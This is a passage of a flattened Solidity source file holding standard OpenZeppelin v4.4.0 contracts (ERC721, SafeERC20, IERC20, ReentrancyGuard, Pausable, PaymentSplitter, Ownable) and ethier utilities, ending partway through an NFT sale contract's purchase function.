return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (finance/PaymentSplitter.sol) pragma solidity ^0.8.0; import "../token/ERC20/utils/SafeERC20.sol"; import "../utils/Address.sol"; import "../utils/Context.sol"; /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. * * NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and * tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you * to run tests before sending real value to this contract. */ contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; mapping(IERC20 => uint256) private _erc20TotalReleased; mapping(IERC20 => mapping(address => uint256)) private _erc20Released; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20 * contract. */ function totalReleased(IERC20 token) public view returns (uint256) { return _erc20TotalReleased[token]; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an * IERC20 contract. */ function released(IERC20 token, address account) public view returns (uint256) { return _erc20Released[token][account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + totalReleased(); uint256 payment = _pendingPayment(account, totalReceived, released(account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] += payment; _totalReleased += payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their * percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20 * contract. */ function release(IERC20 token, address account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token); uint256 payment = _pendingPayment(account, totalReceived, released(token, account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _erc20Released[token][account] += payment; _erc20TotalReleased[token] += payment; SafeERC20.safeTransfer(token, account, payment); emit ERC20PaymentReleased(token, account, payment); } /** * @dev internal logic for computing the pending payment of an `account` given the token historical balances and * already released amounts. */ function _pendingPayment( address account, uint256 totalReceived, uint256 alreadyReleased ) private view returns (uint256) { return (totalReceived * _shares[account]) / _totalShares - alreadyReleased; } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // Copyright (c) 2021 the ethier authors (github.com/divergencetech/ethier) pragma solidity >=0.8.0 <0.9.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; /// @notice A Pausable contract that can only be toggled by the Owner. contract OwnerPausable is Ownable, Pausable { /// @notice Pauses the contract. function pause() public onlyOwner { Pausable._pause(); } /// @notice Unpauses the contract. function unpause() public onlyOwner { Pausable._unpause(); } } // SPDX-License-Identifier: MIT // Copyright (c) 2021 the ethier authors (github.com/divergencetech/ethier) pragma solidity >=0.8.0 <0.9.0; /** @notice Provides monotonic increasing and decreasing values, similar to OpenZeppelin's Counter but (a) limited in direction, and (b) allowing for steps > 1. */ library Monotonic { /** @notice Holds a value that can only increase. @dev The internal value MUST NOT be accessed directly. Instead use current() and add(). */ struct Increaser { uint256 value; } /// @notice Returns the current value of the Increaser. function current(Increaser storage incr) internal view returns (uint256) { return incr.value; } /// @notice Adds x to the Increaser's value. function add(Increaser storage incr, uint256 x) internal { incr.value += x; } /** @notice Holds a value that can only decrease. @dev The internal value MUST NOT be accessed directly. Instead use current() and subtract(). */ struct Decreaser { uint256 value; } /// @notice Returns the current value of the Decreaser. function current(Decreaser storage decr) internal view returns (uint256) { return decr.value; } /// @notice Subtracts x from the Decreaser's value. function subtract(Decreaser storage decr, uint256 x) internal { decr.value -= x; } } // SPDX-License-Identifier: MIT // Copyright (c) 2021 the ethier authors (github.com/divergencetech/ethier) pragma solidity >=0.8.0; /// @title DynamicBuffer /// @author David Huber (@cxkoda) and Simon Fremaux (@dievardump). See also /// https://raw.githubusercontent.com/dievardump/solidity-dynamic-buffer /// @notice This library is used to allocate a big amount of container memory // which will be subsequently filled without needing to reallocate /// memory. /// @dev First, allocate memory. /// Then use `buffer.appendUnchecked(theBytes)` or `appendSafe()` if /// bounds checking is required. library DynamicBuffer { /// @notice Allocates container space for the DynamicBuffer /// @param capacity The intended max amount of bytes in the buffer /// @return buffer The memory location of the buffer /// @dev Allocates `capacity + 0x60` bytes of space /// The buffer array starts at the first container data position, /// (i.e. `buffer = container + 0x20`) function allocate(uint256 capacity) internal pure returns (bytes memory buffer) { assembly { // Get next-free memory address let container := mload(0x40) // Allocate memory by setting a new next-free address { // Add 2 x 32 bytes in size for the two length fields // Add 32 bytes safety space for 32B chunked copy let size := add(capacity, 0x60) let newNextFree := add(container, size) mstore(0x40, newNextFree) } // Set the correct container length { let length := add(capacity, 0x40) mstore(container, length) } // The buffer starts at idx 1 in the container (0 is length) buffer := add(container, 0x20) // Init content with length 0 mstore(buffer, 0) } return buffer; } /// @notice Appends data to buffer, and update buffer length /// @param buffer the buffer to append the data to /// @param data the data to append /// @dev Does not perform out-of-bound checks (container capacity) /// for efficiency. function appendUnchecked(bytes memory buffer, bytes memory data) internal pure { assembly { let length := mload(data) for { data := add(data, 0x20) let dataEnd := add(data, length) let copyTo := add(buffer, add(mload(buffer), 0x20)) } lt(data, dataEnd) { data := add(data, 0x20) copyTo := add(copyTo, 0x20) } { // Copy 32B chunks from data to buffer. // This may read over data array boundaries and copy invalid // bytes, which doesn't matter in the end since we will // later set the correct buffer length, and have allocated an // additional word to avoid buffer overflow. mstore(copyTo, mload(data)) } // Update buffer length mstore(buffer, add(mload(buffer), length)) } } /// @notice Appends data to buffer, and update buffer length /// @param buffer the buffer to append the data to /// @param data the data to append /// @dev Performs out-of-bound checks and calls `appendUnchecked`. function appendSafe(bytes memory buffer, bytes memory data) internal pure { uint256 capacity; uint256 length; assembly { capacity := sub(mload(sub(buffer, 0x20)), 0x40) length := mload(buffer) } require( length + data.length <= capacity, "DynamicBuffer: Appending out of bounds." ); appendUnchecked(buffer, data); } } // SPDX-License-Identifier: MIT // Copyright (c) 2021 the ethier authors (github.com/divergencetech/ethier) pragma solidity >=0.8.0 <0.9.0; import "../utils/Monotonic.sol"; import "../utils/OwnerPausable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/math/Math.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; /** @notice An abstract contract providing the _purchase() function to: - Enforce per-wallet / per-transaction limits - Calculate required cost, forwarding to a beneficiary, and refunding extra */ abstract contract Seller is OwnerPausable, ReentrancyGuard { using Address for address payable; using Monotonic for Monotonic.Increaser; using Strings for uint256; /** @dev Note that the address limits are vulnerable to wallet farming. @param maxPerAddress Unlimited if zero. @param maxPerTex Unlimited if zero. @param freeQuota Maximum number that can be purchased free of charge by the contract owner. @param reserveFreeQuota Whether to excplitly reserve the freeQuota amount and not let it be eroded by regular purchases. @param lockFreeQuota If true, calls to setSellerConfig() will ignore changes to freeQuota. Can be locked after initial setting, but not unlocked. This allows a contract owner to commit to a maximum number of reserved items. @param lockTotalInventory Similar to lockFreeQuota but applied to totalInventory. */ struct SellerConfig { uint256 totalInventory; uint256 maxPerAddress; uint256 maxPerTx; uint248 freeQuota; bool reserveFreeQuota; bool lockFreeQuota; bool lockTotalInventory; } constructor(SellerConfig memory config, address payable _beneficiary) { setSellerConfig(config); setBeneficiary(_beneficiary); } /// @notice Configuration of purchase limits. SellerConfig public sellerConfig; /// @notice Sets the seller config. function setSellerConfig(SellerConfig memory config) public onlyOwner { require( config.totalInventory >= config.freeQuota, "Seller: excessive free quota" ); require( config.totalInventory >= _totalSold.current(), "Seller: inventory < already sold" ); require( config.freeQuota >= purchasedFreeOfCharge.current(), "Seller: free quota < already used" ); // Overriding the in-memory fields before copying the whole struct, as // against writing individual fields, gives a greater guarantee of // correctness as the code is simpler to read. if (sellerConfig.lockTotalInventory) { config.lockTotalInventory = true; config.totalInventory = sellerConfig.totalInventory; } if (sellerConfig.lockFreeQuota) { config.lockFreeQuota = true; config.freeQuota = sellerConfig.freeQuota; } sellerConfig = config; } /// @notice Recipient of revenues. address payable public beneficiary; /// @notice Sets the recipient of revenues. function setBeneficiary(address payable _beneficiary) public onlyOwner { beneficiary = _beneficiary; } /** @dev Must return the current cost of a batch of items. This may be constant or, for example, decreasing for a Dutch auction or increasing for a bonding curve. @param n The number of items being purchased. */ function cost(uint256 n) public view virtual returns (uint256); /** @dev Called by both _purchase() and purchaseFreeOfCharge() after all limits have been put in place; must perform all contract-specific sale logic, e.g. ERC721 minting. When _handlePurchase() is called, the value returned by Seller.totalSold() will be the pre-purchase amount. @param to The recipient of the item(s). @param n The number of items allowed to be purchased, which MAY be less than to the number passed to _purchase() but SHALL be greater than zero. @param freeOfCharge Indicates that the call originated from purchaseFreeOfCharge() and not _purchase(). */ function _handlePurchase( address to, uint256 n, bool freeOfCharge ) internal virtual; /** @notice Tracks total number of items sold by this contract, including those purchased free of charge by the contract owner. */ Monotonic.Increaser private _totalSold; /// @notice Returns the total number of items sold by this contract. function totalSold() public view returns (uint256) { return _totalSold.current(); } /** @notice Tracks the number of items already bought by an address, regardless of transferring out (in the case of ERC721). @dev This isn't public as it may be skewed due to differences in msg.sender and tx.origin, which it treats in the same way such that sum(_bought)>=totalSold(). */ mapping(address => uint256) private _bought; /** @notice Returns min(n, max(extra items addr can purchase)) and reverts if 0. @param zeroMsg The message with which to revert on 0 extra. */ function _capExtra( uint256 n, address addr, string memory zeroMsg ) internal view returns (uint256) { uint256 extra = sellerConfig.maxPerAddress - _bought[addr]; if (extra == 0) { revert(string(abi.encodePacked("Seller: ", zeroMsg))); } return Math.min(n, extra); } /// @notice Emitted when a buyer is refunded. event Refund(address indexed buyer, uint256 amount); /// @notice Emitted on all purchases of non-zero amount. event Revenue( address indexed beneficiary, uint256 numPurchased, uint256 amount ); /// @notice Tracks number of items purchased free of charge. Monotonic.Increaser private purchasedFreeOfCharge; /** @notice Allows the contract owner to purchase without payment, within the quota enforced by the SellerConfig. */ function purchaseFreeOfCharge(address to, uint256 n) public onlyOwner whenNotPaused { uint256 freeQuota = sellerConfig.freeQuota; n = Math.min(n, freeQuota - purchasedFreeOfCharge.current()); require(n > 0, "Seller: Free quota exceeded"); uint256 totalInventory = sellerConfig.totalInventory; n = Math.min(n, totalInventory - _totalSold.current()); require(n > 0, "Seller: Sold out"); _handlePurchase(to, n, true); _totalSold.add(n); purchasedFreeOfCharge.add(n); assert(_totalSold.current() <= totalInventory); assert(purchasedFreeOfCharge.current() <= freeQuota); } /** @notice Enforces all purchase limits (counts and costs) before calling _handlePurchase(), after which the received funds are disbursed to the beneficiary, less any required refunds. @param to The final recipient of the item(s). @param requested The number of items requested for purchase, which MAY be reduced when passed to _handlePurchase(). */ function _purchase(address to, uint256 requested) internal nonReentrant whenNotPaused { /** * ##### CHECKS */ SellerConfig memory config = sellerConfig; uint256 n = config.maxPerTx == 0 ? requested : Math.min(requested, config.maxPerTx); uint256 maxAvailable = config.reserveFreeQuota ? config.totalInventory - config.freeQuota : config.totalInventory; n = Math.min(n, maxAvailable - _totalSold.current()); require(n 